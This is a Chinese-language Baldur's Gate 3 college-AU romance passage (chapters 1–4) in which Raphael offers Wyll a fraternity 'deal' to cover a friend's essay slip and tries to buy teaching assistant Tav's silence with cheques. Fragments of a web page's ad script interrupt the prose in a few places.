《魔鬼交易[西幻|博德之门3]》 1. 威尔 大学里总有那么几位学生,是人人都听说过的,这已经成了一条校园公认的真理。 而在以传奇冒险家命名、全费伦最好的两所高等学府之一的博德安大学,这样一位人尽皆知的学生,各方面都必须格外出色:无论长相身材,还是学业家世。 至于她或他性格如何,是否愿意出风头被每个人都知道,则不在考量的范围内。 威尔·雷文伽德就是这么一个人物,虽然他为人处世相当低调。 眼下,他希望健身房里没人认出自己,可惜事情往往不如人愿。 “威尔?你怎么在这儿?” 叫住他的家伙身材高大,手臂肌肉隆起。说话间,几滴汗珠从健硕胸膛滑向块垒分明的小腹。 威尔个子并不矮,但此时也需要微微仰起脸,才能望到对方橄榄绿色的眼睛:“嗨,哈尔辛。” 哈尔辛放下看上去足足有两百磅重的哑铃。与之相反的是他轻松的表情,说话的语气和他发间细细的几股小辫子一样快活: “我还是第一次在这儿见到你,这可真是令人愉快。我以为你对赛艇没兴趣,是什么让你改变了主意?” 威尔勉强扯动嘴角算是微笑,没有回答他的问题:“拉斐尔在吗?” 哈尔辛偏下头:“在划船机那边。” . 越过一排排精壮身材和更多荷尔蒙气息,威尔一眼找到拉斐尔。 倒不是因为对方仍规规矩矩地穿着上衣,甚至连袖子都没有挽起。也不是因为对方那哪怕在他看来都过分英俊的容貌。 虽然那也是原因之一和之二,但最主要的还是拉斐尔独特的、但他极为熟悉的气质。 ——作为和自己一样,出生在拥有贵族头衔家族的人,会出现的那种混合着无聊与冷漠的面无表情,像是没有什么能够给他留下深刻印象。 不少学生称之为“迷人的贵族气质”,但威尔一向认为,这只是欲望太过容易满足所导致的空虚,也是他想要远离的黑洞。 按他室友的话来说,威尔是和大多数人想象中不同的贵族。 “我以为贵族都是拉斐尔那个样子,而且会住在校外,最起码住单独一间的宿舍。”室友又庆幸,“但那样一来,我就没办法刚入学就认识你,又很快和你成为朋友了。” 朋友。 在知道他身份之前交到的、普通的、正常的朋友。 威尔清了下嗓子:“拉斐尔,我需要占用你一些时间。” 拉斐尔似乎在做计时或计数的训练,因为他明显意识到自己在身边,但仍做完最后几个动作才停下。 威尔微微俯身:“我还需要一点私人空间。” “你应当知道,威尔,”拉斐尔瞥向垂挂在一旁的怀表,“这个训练馆是成员专用。” 威尔抿住唇,才没有冷哼出声。 呵,成员专用,当然。 毕竟,这可是历史比大学本身悠久、最初只有贵族可以加入的赛艇队。 毫不夸张地说,赛艇队收到的私人捐款金额,甚至比学校几个成立不到百年的新学院还要多。 哪怕现在,最核心的俱乐部对会员考察依然严格,宁缺毋滥。 ——也是他当初拒绝拉斐尔邀请,没有加入的兄弟会。 威尔声音压得更低:“我……需要你的帮助。” 拉斐尔终于侧头看向他,琥珀色虹膜中掺杂着绢丝状的金色,反射着奇异的光。 仍是威尔熟悉的神情,像是见到了什么新鲜猎物或有趣玩具,也是他不愿和拉斐尔交往过密的另一个原因。 拉斐尔站起身,径直离开。 威尔装作没有注意到周围克制的视线,跟在拉斐尔身后,一起来到大概是对方专用的更衣室或休息室。 只需一眼,他便能立即看出这是那种房间——任何崭新的家具对它都是一种亵渎。每一个物件,都像是存在门第血统一样可以向前追溯,仿佛某种拥有生命的价格标签,低调却又无比直白地宣告着“贵族”。 传承几代的、充满厚重感的桌椅柜,配套的黑胡桃木。一台立式手摇留声机,抛光的表面闪着昂贵的光。一张更像是单人床榻的沙发,柱脚雕刻成羊足,扶手是弯曲羊角。另有一扇半敞开的桃花心木门,通往独立淋浴间。 好在拉斐尔没有继续无视他,或者直接在他面前换衣服,反而问他想要喝点什么: “只有烈性酒,没有冰。” “我需要你帮的这个忙,在时间方面有些紧迫。”威尔谢绝后,便想要直入正题。 “威尔,你应该知道的。”拉斐尔不紧不慢说,“比起帮忙,我更喜欢交易。” 虽然不是第一次听到这件事,威尔眼皮仍是轻轻跳了下。 “直接帮忙,都是动机不纯的伪善。”拉斐尔音量不算高,威尔不得不微微探身,仔细倾听他的话, “往往并非出于对他人的关心,而是为了满足自私的需求。 “获得好名声,增加影响力,得到优越感。” 拉斐尔轻笑,“真可惜,这些我都不感兴趣。” 威尔重新站直:“我来这里,不是为了听你发表对伦理道德的看法。” “这不是看法。” 不是看法,难道是真理?威尔努力忍了忍,仍是说出口: “我不会要求你无偿帮助我,也不认为你能够理解这一点。但有的时候,一个人帮助另一个人,并不是为了得到或交换什么,只是因为他想要为对方这么做,是善意之举。” “啊哈,情感上的往来。”拉斐尔像是听到什么笑话,“至少是,期望对方回以同等的善意态度。” “不,都不是。好吧,也许是。但我不认为那能称为交易。而且除此之外,还有一个可能是更重要的原因,因为我……那个人,想要做正确的事。” “为了获得心理上的满足。”拉斐尔唇角上扬得更加明显,“身披道德荣耀,这一定能够使人自我感觉相当良好。” 威尔深深吸了一口气,又慢慢呼出。 不过这次,他只是喉咙滚动,吞咽了下,没再继续辩论。毕竟,这不是他来找拉斐尔的原因。 拉斐尔转身走到桌前,拿起一支羽毛笔,蘸在墨水瓶里:“你将加入赛艇队。” “什么?” “我们的交易。” “我还没有告诉你发生了什么。她不是一个很容易说服的人。我并不是在指责她,毕竟她的要求没有错……” “那根本不重要,威尔。”拉斐尔打断他,不耐烦地挥了下手中羽毛笔, “重要的是,没人能拒绝我。” 威尔沉默,一时无法确定拉斐尔这句话指的是说服她,还是对自己当初拒绝他的嘲弄。 “拿着这个。” 威尔接过拉斐尔递来的羊皮纸,没有错过对方嘴角略带讥讽的弧度。 “你将作为‘兄弟’加入。三天后,我们会为你举行一个小小的入会庆祝仪式。” 羊皮纸在威尔掌心轻轻皱了起来。 他知道那些所谓的“庆祝仪式”。 裸泳、泡冰水、喝下成分不明的混合酒……没有完成就要遭到更多惩罚——都是些可怕而又恶心的服从性测试。 付出重大代价带来的归属感,保密而又排外的小团体,以及由此而生的持续一世的兄弟情谊。 这是他的屈服…… 话说回来,拉斐尔也经历过仪式吗? “很可惜,虽然你父亲是公爵,但那并不足以使 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 你成为例外。”拉斐尔仿佛能读懂他的想法,“别那么害怕,仪式没那么糟,雷文伽德公爵也会为你终于加入我们感到骄傲。” 听他提起自己的父亲,威尔猛地盯住拉斐尔。 “公爵也曾是会员。”拉斐尔平静回视,“他今年在俱乐部的捐款基金委员会轮值,所以你才能够……” “我不在乎这些!” “当然,你是特别的。” 这次,威尔十分确定这是对自己的嘲讽,但拉斐尔早已重新戴上那副标志的面无表情。 威尔狠狠握住拳,又像是为了转移注意力似的,垂眼展开羊皮纸。 上面只有一个地址和时间,花字体优美而又锋利。 “别忘了写信告诉你父亲。”拉斐尔声音再次响起,“他会很高兴的。” 威尔仍垂着头。说起来,这件事归根结底不过是一次没能按时提交的论文作业,到底是怎么一步步升级成现在这个样子? 他恨不得把这羊皮纸重新团起来丢在拉斐尔脸上,又想起朋友的恳求,呼吸渐渐重了起来。 . “我做错了,威尔,可你知道的,我早就写完了,你还帮我检查了不是吗?这次论文的分数占比太高了,没有这次分数我恐怕没办法拿到优,没办法拿到优就没办法拿到奖学金,没办法拿到奖学金我就付不起学费。 “所以我才……我才偷偷把论文混了进去。我知道这不对,但名字都是被封上的。我,我忍不住。我没别的办法。 “可我没想到她居然已经点过数量,还非要找到多出来的这一份!又拿这个威胁我们所有人!她难道不也是学生吗?为什么要做得这么绝?!” “做个深呼吸。好,现在,呼气。别这么焦虑。”威尔安慰说,“她语气是严厉了些,但只是要你私下找她说明。” “她说这是舞弊。学术舞弊!女神啊,我会被处分的!我会被赶出学校的,威尔!”朋友语速越来越快,“我是家里,是整个镇子上,第一个来念大学的人。我不能有污点,我不能被赶出去!威尔,请你帮帮我,不要让我被赶出学校!” 威尔再次安慰朋友事情不会那么糟。他却更加焦虑,像是急性惊恐发作——额上冒出冷汗,又一把捂住自己胸口,粗声喘气后突然说: “拉斐尔!我听说拉斐尔总是有办法!” “最好别和他打交道。”威尔语气沉了下去。 “是吗……是的。他也根本不会理睬我吧,听说他不会轻易帮别人。我什么都没有,他可是拉斐尔,是贵族。你也是。你也一样。你也要放弃我了吗,威尔?” 我和他,和他们,不一样。 威尔皱着眉,最后叹了口气:“我会帮你。” 朋友终于慢慢平静下来,眼睛一亮,有了好主意。 . 为了补救一个错误,威尔替朋友犯下第二个错误,最后还是来到拉斐尔这里。 真是糟糕的决定。 从一开始就是错的,而且错得越来越厉害。 “哈。是这样?” 威尔听到拉斐尔的声音,猛地抬起眼。 “为了一个纯洁而又无私的理由,你要做自己并不喜欢、甚至觉得厌恶的事。”拉斐尔微笑起来,“这种牺牲真的值得吗?我亲爱的威尔。” “我不是无辜的。”威尔重新垂下头, “如果你能解决——并且保证不让我父亲知道,我会加入兄弟会。” “如-你-所-愿。”拉斐尔的声音宛如低音提琴, “现在,告诉我,你需要说服的那个她是谁?” 哪怕拉斐尔不耐烦地打断自己,也还是听到他说过什么。威尔沉默片刻: “塔夫。” . 2. 塔夫 塔夫穿过校园。 正值春假,又逢降温,大片草地上只三三两两坐着几个学生。 “我最讨厌春假之后的考试了!这一周都别想好过!” “可你明明只有论文和小组作业?” “说实话,我宁可背一整本书参加闭卷考试也不想跟几个笨蛋一组。” “喂!我可是和你在一组!” 揶揄笑声中,塔夫走入一栋哥特式建筑,爬上三楼,又忍不住在落地高窗旁驻足,望向建筑另一侧。 窗外可以看到冲萨河,像一条缎带似的泛着光。河两旁种着玉兰树和风铃木,长叶子前已经冒出一簇簇粉白重叠的花瓣。 哪怕已经在博得安大学两年多快三年,塔夫仍会为校园的景色惊叹。也可能是因为她以前不常来这边——这栋建筑里大多是教授的办公室。 不同位置看到的风景果然不一样。她可以清楚望见河中划过几艘赛艇,有双人的,四人的,还有八人的。天气不算暖和,赛艇队仍是已经开始了户外训练。 虽然听说训练相当辛苦严格,赛艇队却是贵族扎堆的地方——哪怕没能力参加正式比赛,也仍会加入俱乐部和练习赛。不过当然,最出名的始终是拉斐尔。 塔夫又多瞧几眼,可惜这个距离看不清什么,她便继续沿楼梯向上爬到顶层。 . 这学期,她是盖尔教授的教学助理。每周工作八个小时(但实际时间常常只有四到六个小时),除了能赚到总计近一千五百金币外,更重要的是,她能够得到对方的推荐信。 暑假结束,就将是她在学校的最后一年,她终于有机会申请费伦最高奖学金。 那是一笔丰厚慷慨的奖金,支持获得者未来三年的研究和学习,无论什么方向,包括昂贵的医学院。塔夫希望成为一名医生,这笔奖学金可以让她免去沉重的学生贷款。事实上,如果无法申请到奖学金,她便不会继续读下去,因此她势在必得。 盖尔教授虽然年轻,但已经是有名的学者,著作等身,他的推荐信很有分量。 塔夫修过盖尔的两门课,是他最喜爱的学生之一,也得到了他的信赖。否则,他不会放心地把教学相关事情全部交给她,匆匆离开,前往深水城参加一个临时的研讨会议。 事情也并不困难。 那是面对大一学生的入门课,春假前只有一节,改为答疑。除此之外,她还需要把论文作业收好——截止日期是答疑课前的那个周末。 班级二十三个人,塔夫收到二十份论文。重新数一遍,仍少三份。 这门课只有一次期末考试,几篇论文占最后成绩比重很高。她在课前提了一嘴,课间休息结束,一摞羊皮纸凌乱几分,论文则多出一份。 性质变得严重了些。 除了失望,塔夫还感到不满和恼火——这简直是在无视她。如果盖尔教授在场,他们肯定不敢这么做。 好在,严肃要求这人主动来找她后,她在下课前收到匿名的办公室时间申请。 “……我明天会去找你。请不要告诉别人。非常对不起。” 纸条最后这样写道。 不算太坏。毕竟,谁没有一时犯傻做错事的时候呢。 塔夫原本是这么想的。 结果,她在盖尔教授的办公室里撞见威尔。 在论文作业中翻找的威尔。 . 威尔本打算帮朋友把他的论文偷偷拿回来。 除了因为他还记得那篇论文的内容,另一个原因则是,朋友不小心说出他可能会犯下的第二个错误:把别人的论文换出去。 “我不会那么做,就是说说。”朋友嗫嚅,“我怎么会做出那种事。” “我去帮你把论文拿回来。”威尔盯了他一眼,决定不给对方犯错的机会,“再给塔夫留封信解释清楚。” “太好了!我这就来写……匿名信!”朋友边写边说,“我们明天就去吧。早点解决,早点安心。” 威尔却重重叹口气。 不太对。 “我之后会亲自去和塔夫道歉。”朋友小声说,“等到学期末出了成绩后……” 威尔无奈瞧他一眼。 朋友不好意思地咬着唇,声音更低:“对不起,威尔,谢谢你肯帮我,都是我不好。” “算了,这没什么。”威尔在他肩上拍了拍,“我和你一起。” “一起?” “学期末之后,我们一起去找塔夫道歉。” “太谢谢你了,威尔!” 结果,威尔被塔夫捉个正着。 . “你是威尔吧。我知道做出这事的人不是你。” 威尔被塔夫看得低下头去,差点说出朋友的名字,还好塔夫在他开口前让他离开,“让你的朋友自己来找我,如果你真的是他的朋友的话。” 错误的决定。 一个接着一个。 威尔不想出卖朋友。但事已至此,如果朋友仍然不肯去找塔夫说明,他恐怕也没有其他办法。 朋友再次提起拉斐尔,小心翼翼问:“威尔,你知道他现在会在哪里吗?” “你还要再遮掩下去?” “我知道这都是因为我的错。”朋友差点对神明赌咒,“这是最后一次。所有人都买拉斐尔的面子,塔夫只是学生,不会是例外。而且,我的事情也没办法变得更糟了。” 真要说起来,自己也许是有其他办法的。正如朋友所说,塔夫毕竟只是一个普通学生。 威尔想到什么,立刻轻轻摇了下头。 “总会有其他办法的。”朋友的恳求带上哭腔,“请帮我到底吧。再帮我这一次。” “最后一次。”威尔还是说。 . 他不想做的事由拉斐尔来做。 他和拉斐尔又有什么不一样。 威尔说明始末,眼前重新出现塔夫那双明亮的深褐色眼睛,怔忡起来。 “欢迎加入兄弟会。”拉斐尔嘴角似乎带着嘲弄,“我会说服这位教学助理,这再容易不过。现在,告诉我,你的那位朋友是谁?” 他当然和拉斐尔、和其他贵族不一样。 从某个角度来说,加入他们,正是证明了自己和对方的不同。 威尔笑了笑:“这个,需要保密。” 拉斐尔轻嗤:“威尔,你又在试图拒绝我吗?” “恐怕是你,还没有理解我会同意与你打交道的原因。” “我知道你指的是什么。”拉斐尔看着他的眼睛,“你以为你和我们不一样。但普通人只会认为你是我们中的一员。” “未必。”威尔移开视线,“而且,我也还不一定会加入你们。”他反复看了几遍手中羊皮纸才重新抬眼望向拉斐尔,“距春假结束教授回来只有一周时间。” “别担心。”拉斐尔比了个送客的手势,“三天后,晚上见。” . 离开拉斐尔,威尔告诉朋友这个“好”消息。 “谢谢你!”他飞快拥抱了下威尔,又有些难为情的样子,“拉斐尔要你做什么吗?我的意思是,我能帮你做点什么?不,我是指这原本就是我的事,是你在帮我……”他语无 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 伦次起来。 因为朋友的反应,威尔忍不住弯起唇角:“拉斐尔要我加入赛艇队。” “诶?那很难进吧!这是找拉斐尔帮忙的代价,不是奖励?” 威尔笑容僵住。 “对不起。”朋友立刻又说,“谢谢你。这对你来说一定是……” “这几天的道谢和道歉已经够多了。”威尔微笑打断他。 …… . 如果说威尔的心情有些复杂,另一边的拉斐尔则明显很愉悦,连打响指的声音都轻快起来。 “告诉莱姆波特……辛杜瑞菈。”他对出现在房间里的身影说,“总之,是威尔的那位亲爱的朋友。” “莱辛多尔。”那人提醒。 “是这个名字。告诉他,他做得还不错。” 拉斐尔脱去上衣,朝桃花心木门后走去,像是毫不介意对方的存在。 而那人居然也并无避讳,一英寸一英寸看过拉斐尔挺直的脊背,视线沿后背正中那条优美的沟线向下,一路描摹他背部的肌理。 拉斐尔始终没有回头。又过一会,水声和他的声音一同响起:“以及,我和他的交易结束了。” . 塔夫仍在盖尔的办公室,没有离开。 她面前摊开着医学院标准化考试的笔记。然而过去的这个下午,她始终有一部分注意力分向门外。 她希望一切赶快结束,又有些怀疑自己是否小题大做。她想要这件事在她这里解决,而不是真的告诉盖尔教授,又或者像警告中那样,把性质上升成舞弊。 窗外,太阳开始落下。 塔夫叹口气,看来,今天是不会再有人来了。 她收好笔记,站起身,却在门口看到一个逆光的剪影。 “你终于来了?”塔夫想要保持严厉,声音却还是流露出喜悦,“我一直在等你!” 那道剪影向她走来。 时间忽然变得缓慢。 从挺直的鼻梁开始,一张面容如雕塑般凿刻出现,英俊得有些不真实。而那凌厉线条之上是一种从容不迫的神情,让人立刻生出信任和好感。 他在她面前几步远站定,琥珀色虹膜被夕阳染上一层流动的金色。 那道流金与她的视线相汇时,塔夫下意识屏住呼吸。 他不是自己那门课的学生,但她知道对方。 拉斐尔。 他和她同级。她远远见过他,也听室友朋友讨论起他。 内容有好有坏,不确定有多少是真实的,又有多少是夸张的。 而同他无法简单归纳但总归是显赫的名声相比,外貌方面,哪怕是最挑剔的人,绞尽脑汁后也只能挤出一句“不够柔和”,又会很快被反驳说“他不需要什么柔和”。 至于气质,每个人都会用“贵族气质”这样的字眼来形容他。塔夫说不好那到底是什么,不过她的确没有想到,近距离下,只是对方的出现,就会有如此令人窒息的冲击。 她恐怕失神得很明显,盯着他到几乎有些失礼的程度。他肯定注意到了,但并没有在意,表情也像是她“没有留下印象”。 也许那正是贵族的风度。 怔怔打量中,塔夫看到拉斐尔形状优美的薄唇微微张开,淡红色舌尖抵在雪白的牙齿间,如同丝绸织就的美梦一般的声音响起: “塔维安。” 塔夫愣了下:这里还有另一个人? 仿佛低音提琴琴弦震颤一般的声音再次响起:“特夫。” 塔夫惊醒:…… 他是在喊她? . 3. 金钱 塔夫微微眯了下眼睛。 拉斐尔似乎真的是来找自己。 “塔夫。”她开口纠正,“我的名字。” “这次差得不多。” “什么?”塔夫皱了下眉毛。这是个玩笑吗?她该礼貌地笑一下吗? 拉斐尔却继续道:“你应该知道我是谁。” 那神态明显在说,她的名字是什么并不重要。 曾听过的关于拉斐尔傲慢的评价一股脑涌入,塔夫觉得对方面容上的金色褪去大半,忍不住挖苦:“是的,我知道。如果你指的是,‘名字’的话。” 可惜,对方显然没有领会,或者根本没有在听,因为他正撕下一张支票: “拿着。” 塔夫没有动。 拉斐尔走近一步,直接捉起她的手,把支票放在她掌心。 塔夫仍看着他。 他似乎刚刚冲过澡,发梢带着清爽的水气——与五官不同,他的头发看上去很柔软,和他的睫毛一样浓密,带着自然的弧度。 拉斐尔表情有些微妙变化,示意她看那支票。 塔夫在心里唾弃了一下自己不分场合地沉迷美色,低头看去。 二千,不,二万?是她兼职教学助理一整个学期所得的十倍还多。 她轻轻吸了口气:“给我的?为什么?” “因为威尔·雷文伽德……” “我知道他。他之前还来这里找我。” “我并没有说完。” “抱歉。你继续。” “几天前,他所在的你的那门课上,与论文有关的一些小意外……”拉斐尔停顿,引得塔夫专心等待后,才一字一顿说, “没.有.发.生。” “这是什么玩笑吗?”塔夫终于问了出来。 “哈。”拉斐尔干笑一声。 “威尔和你说了什么?你和他是朋友所以替他来捉弄我?威尔呢?” “哼。”拉斐尔表情沉下去一些,线条看上去更加冷硬。 这群家伙到底在搞什么鬼? 塔夫重新确认一遍支票金额,抬起头时仍忍不住再次睁大眼睛:“二万?” 拉斐尔轻轻挑了下眉,又立刻露出一个了然的表情,撕下第二张支票放在她手中。 这次是一张一万金币的。 塔夫:…… 是她疯了还是对方不是正常人? 但他刚才那表情和姿态说明了一切,他是认真的,说不定这并不是他第一次这么做。直接用钱收买沉默,甚至不先问问她的想法,这种小事哪需要做到这种地步! ——不,这大概就是他的态度,比起花时间,直接用钱更方便。 塔夫抿着唇,重新望向拉斐尔,一时不知道该说什么。 “我认为三万对你来说足够了。”拉斐尔声音放轻,“别那么贪心。” 塔夫脸一下涨红,连血液都沸腾起来,甚至为自己没有立刻把支票扔回对方脸上感到羞耻:“如果你真是威尔的朋友,转告他,明天上午来这里找我。” 她最后还是决定把支票递给拉斐尔,见对方没有伸手的意思,便学他刚才的样子去捉他的手。 拉斐尔却一把扣住她手腕:“这是什么意思?” “什么?”塔夫皱起眉。 “你听到我问了什么。” “我的意思很清楚。把你的钱拿回去。” “‘你’,在拒绝,‘我’?”拉斐尔声音更轻,“你是认真的吗?” 塔夫忽然发现两人之间的距离只有一臂远。 太阳已经落下更多,拉斐尔眼睛里不再有流动的光,变得雾气氤氲,像深不见底的湖泊,或者沼泽,里面藏着鳄鱼,也许是更可怕的水怪。 隔着一层羊毛薄衫,他手上温度仍是清晰传来,烫得她几乎有些不舒服。塔夫猛地甩开拉斐尔,后退半步,可惜支票没能还回去,仍攥在掌心。 拉斐尔手臂被拨开。他看了看自己手指,接着像是弹落什么脏东西:“便宜的羊毛。” 血液呼啸着冲向大脑,塔夫两颊烧得生疼,耳中也发出嗡鸣,反唇相讥:“找到那粒豌豆了吗?”还真是娇贵的小公主! 可惜,拉斐尔继续无视或者没有理解她的讥讽:“很明显,一些额外的收入,可以改善你的经济情况。” 他语气几乎变得温柔,塔夫却只从中听到更多并无同情心的居高临下,“收下支票,对你自己好一些。比如,买一件材质更舒服的羊毛开衫。” “我很喜欢这件衣服。以及,我不需要你的施舍。” “不,不,这不是施舍。这是一笔交易,很公平。” “我不需要!”塔夫语速越来越快。 “你只‘需要’保持安静,就能拿到三万金币。”拉斐尔仍不疾不徐,声音温柔而深沉,“对于‘你’来说,这交易应该再好不过了。” “你说够了吗?我不需要和你交易!” “别讲这种傻话,交易可没有需要或者不需要一说。如果你能从交易中获利,就没有理由拒绝。不是吗?” 塔夫不可置信地瞧着拉斐尔。那张英俊的脸一半在明一半在暗,有种令人不安的美感。她看到一个几乎是诱惑的弧度缓缓勾勒成形: “看来,我们达成一致了。” 她终于无法忍耐,深吸一口气,将手中支票撕成两截,又立刻叠在一起撕成更多片。 “这下够清楚了吗?我说了,不,我不需要。” 支票碎片在二人之间纷纷扬扬落下,塔夫这才感到痛快些。 窗外只剩余晖。拉斐尔没有说话,表情变得晦暗。 塔夫后背一点点爬上颤栗。 现在是春假,这栋建筑里——甚至这附近——本就没多少人,她又留到太晚。 像是闻到她的恐惧,拉斐尔走近一步,更加居高临下地看着她。 塔夫下意识地吞了下口水,努力挺直后背,抬起下巴和他对视。 不要露怯,这里是学校,他不敢做什么。 眉骨投下的阴影中,拉斐尔双眼却闪着奇异的光,甚至比初见时还要明亮。他慢慢倾身,看上去并非恼怒,而是有些愉快。 两人离得越来越近,塔夫闻到拉斐尔身上淡淡的古龙水或须后水的味道。 微苦而又清爽的柑桔,还带着点若有若无的甜意,让她不由自主地想要靠近一些。 她很快意识到这有多糟,连忙屏住呼吸,身子绷得更紧,站得更直。 拉斐尔仿佛在享用她的慌乱,头发几乎擦过她的脸颊,嘴唇像是贴在她耳边:“别这么快做决定。” 塔夫无法控制地打了个寒颤,只来得及咬住唇不要溢出声音,肚子却发出长长的响亮抱怨。 塔夫:…… 拉斐尔在她耳边低笑一声。 从耳廓蔓延到头皮,沿脖颈一直滑向腰侧,又酥又痒,又酸又麻,塔夫终于还是向一旁躲开半步,而拉斐尔已经好整以暇地站直: “我们的交易还没有结束。” 不等塔夫再说什么,他直接转身离开。 . 直到拉斐尔身影彻底消失,塔夫才发现自己掌心一层粘腻的汗。 她脸上温度褪尽,慢慢蹲下/身,在天彻底黑下去之前,把支票碎片一张张拾起。 这重复的动作帮她平静下来,似乎也帮她把纷乱的思绪拼捡起来。 色令智昏这话果然很有道理,她不得不承认,拉斐尔真的太过英俊,所以她才一遍遍被分散注意,以为可以和对方沟通。有那么一瞬,甚至觉得他说的也不无道理。而明明一开始被叫错名字时,她就应该意识到他是一个多么傲慢可恶的家伙。 如果之前她还有些怀疑自己在小题大做,现在她可以肯定,拉斐尔——说不定还有威尔——把这件事提到了一个荒诞的新 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 高度。 三万金币!她几乎以为自己撞见什么不得了的秘密,怕不得是谋杀或者暗箱操作那种程度的丑闻。 她把支票碎片狠狠捏成一团。 真是太瞧不起人了!什么叫“别贪心”,她根本就没想要。还有字里行间那种“她”和“他”有着很大不同的倨傲态度。 可是,他很轻松就拿出三万金币。 那可是三万金币。足够医学院一年多的学费。如果她没能拿到奖学金的话,也许…… 塔夫连忙把这念头抛开。她很有把握申请到最高奖学金,也不需要这种只能让自己感到被轻慢的钱。 她把掌心那团湿漉漉的纸球使劲砸进纸篓,飞奔下楼,往校园另一边的自助餐厅赶。 ——春假期间,只有那间最大的学生餐厅仍在营业。 . 路上,塔夫仍是忍不住继续想着刚才的事。 既然拉斐尔称这为交易,那她便架起一座天平。 一侧是她的要求,其实很简单:那个偷偷把论文塞进来的学生向她承认错误,而不是试图一次次遮掩。 这样一件小事,真的值三万金币吗? 拉斐尔恐怕是为了威尔。 很可能是这样。威尔也是贵族,同为贵族的拉斐尔出于各种原因决定替他摆平。肯花这么多钱也是因为对方是威尔。毕竟,拉斐尔连她的名字都记不住。 想到这儿,塔夫再次被气到。听上去,倒像是在说自己不配那三万金币。 她当然配!而且她值得更多。 不不不,她差点被拉斐尔的逻辑带偏。关键不在于她配多少钱,是配这个形容本身就值得商榷,甚至可以称得上令人厌恶。 明明很容易说清楚的一件事,直接高高在上地用钱来买她闭嘴? 塔夫看到学生餐厅的温暖灯光,隐约闻到烤鸡的诱人香味。 ——而且那好像是春假期间的特价菜! 她立刻决定先用烤鸡填饱肚子再说。拉斐尔那种家伙当然比不上烤鸡,也根本不值得她花太多精力去生气。 塔夫加快脚步,刚迈入餐厅大门,就被一把捉住胳膊。 “吓?”她扭头看到拉斐尔侧颜,惊呼声落回肚子,又迅速冒出喉咙变成恼怒,“放手!” “安静。”拉斐尔已经拖着她朝一边的长廊走,“除非你想要更多观众。” 似乎已经有人在看他们。塔夫皱起眉,终于还是低下头,没再说什么。 . 拉斐尔身高腿长,塔夫需得小跑才能跟上。 人越走越少。绕过一个拐角,又上一层旋转楼梯,墙上壁纸出现大片典雅的花卉暗纹。 眼前出现一道厚重木门,镶着彩绘玻璃装饰。 门被推开。 门后是一间起居室。塔夫说不出房间里配套深色家具的名堂,但看上去舒适而又昂贵。 她从来不知道自助餐厅里还有这样的地方。 门在她身后慢慢合上。 两人在这片私密空间独处。 拉斐尔转过身,视线和她相缠。 真夸张,比在舞台上还戏剧化。 塔夫再次觉得荒谬可笑起来,低头瞥了眼拉斐尔仍停在自己袖子上的手:“小心你会过敏。”她觉得对方无法理解这讽刺,又学着他的腔调补充一句,“因为这是,‘便宜的羊毛’。” 出乎她的意料,拉斐尔这次居然接受良好地轻笑一声,嘴唇弯起,甚至连眼睛里也浮上笑意。 塔夫被美色迎面击中,呼吸一窒。 这可有点糟糕。 她弯曲手臂想要再次甩开拉斐尔,却被顺势拉近更多距离。近到能数清对方的每一根睫毛,也能清楚看到那双琥珀色眼睛中的她的倒影。 砰。砰。 她听到了自己的心跳声。 拉斐尔眼中笑意加深:“交易继续。” . 4. 诱惑 “告诉我,你想要什么?” 拉斐尔深深看着塔夫,眼神几乎可以称得上专情。 塔夫努力回瞪他:“我说过了。让威尔来找我。” “唔嗯。”拉斐尔若有所思,“果然如此。” “哇哦,你居然记得。”塔夫语气夸张,趁机移开视线看向周围, “那么,威尔在哪儿?躲在这里准备给我一个惊喜吗?” 令她继续深感意外,拉斐尔再次低低轻笑一声:“我来给你一个更好的选择。” 他终于松开手,塔夫却觉得胳膊一空,还有些冷意,不由得重新望向对方。 拉斐尔露出一个格外迷人的笑容:“我。” “什么?”塔夫大脑空白了好一会。 一方面是没有理解对方的意思,另一方面则是被那笑容震慑,她闭上眼睛又睁开,重问一遍, “什么?” 他的意思难道是,她想要的,是他?这……? “你真是可爱极了。” 虽然不知道拉斐尔在盘算什么,但他明显开始不再吝啬魅力,配合上那张脸,塔夫简直有些招架不住。 她往后连退两步,试图拉开距离: “你这是被我撕支票帅到了?还是被那些纸片砸傻了?” “哈!”拉斐尔配合地笑着,再次靠近,“也许都是。” 别再笑了!塔夫后背已经抵在门上,身周是拉斐尔的气息,脑中则乱成一团,干脆偏过头屏住呼吸,拒绝看那张让她一时无法思考的脸。 似乎有点用,至少没有眩晕感了。 “你在害羞?”温热气息吹过耳侧,塔夫半边身子酸软,又立刻激起颤栗, “可爱的…” 拉斐尔顿了下,“…小公主。” “恶。”颤栗变成一层鸡皮疙瘩。塔夫清醒更多,这可是她之前在心里用来讥讽拉斐尔的词。什么鬼? “你不喜欢这个称呼?” “不,一点也不。” “你想我怎么称呼你?” “塔夫就可以了。” 拉斐尔唤她,仿佛情人的呢喃,携着数不尽的柔情蜜意:“塔夫。” 那声音缱绻动人,塔夫却更加清醒起来:“你不会是……”她曲起双臂撑在拉斐尔身前,阻止他继续贴近,“刚才不记得我的名字吧?!” 拉斐尔一只手虚虚握住她双腕:“我怎么会忘记这么可爱的名字。” 果然不记得! “停。”塔夫一把戳破粉红泡泡,手和胳膊一起使力,“这太奇怪了。你给我站好别动!” 听到塔夫明确的拒绝,拉斐尔终于停下,又低头看向塔夫仍抚在自己胸口的双手,笑着挑了下眉。 真该死,都怪肌肉的触感太好。塔夫讪讪收回手,大脑缓缓重新运转,从头开始梳理:“所以,这是怎么一回事?”她记得拉斐尔的第一句话是交易继续。这算是哪门子的交易? “请和我约会。” “什么?”塔夫觉得大脑又有暂停的迹象,“为什么?” 拉斐尔却像是那个无法理解的人:“约会。和‘我’。” “喔哦,”塔夫反应过来,难以置信又有些好笑,模仿他刚才的腔调,“和‘你’。” 拉斐尔蹙起眉,看上去有些受伤,眼底却仍带着笑意。 令人更加无法相信的是,看到拉斐尔诱人的委屈表情,塔夫居然升起怜爱,觉得对方的傲慢很合情合理,甚至开始说服自己那其实是一种自信,又替他罗列起优点: 英俊,有魅力,大贵族,学校赛艇队队长,身材好,最出名也是受欢迎的人……而且,他其实能理解她的讥讽,还有她那有些古怪的幽默感。 真是太奇怪了。她这是被洗脑了? 她几乎要认为拉斐尔有权利骄傲了——如果他刚才肯花时间记一下她的名字的话。塔夫清醒过来一些。 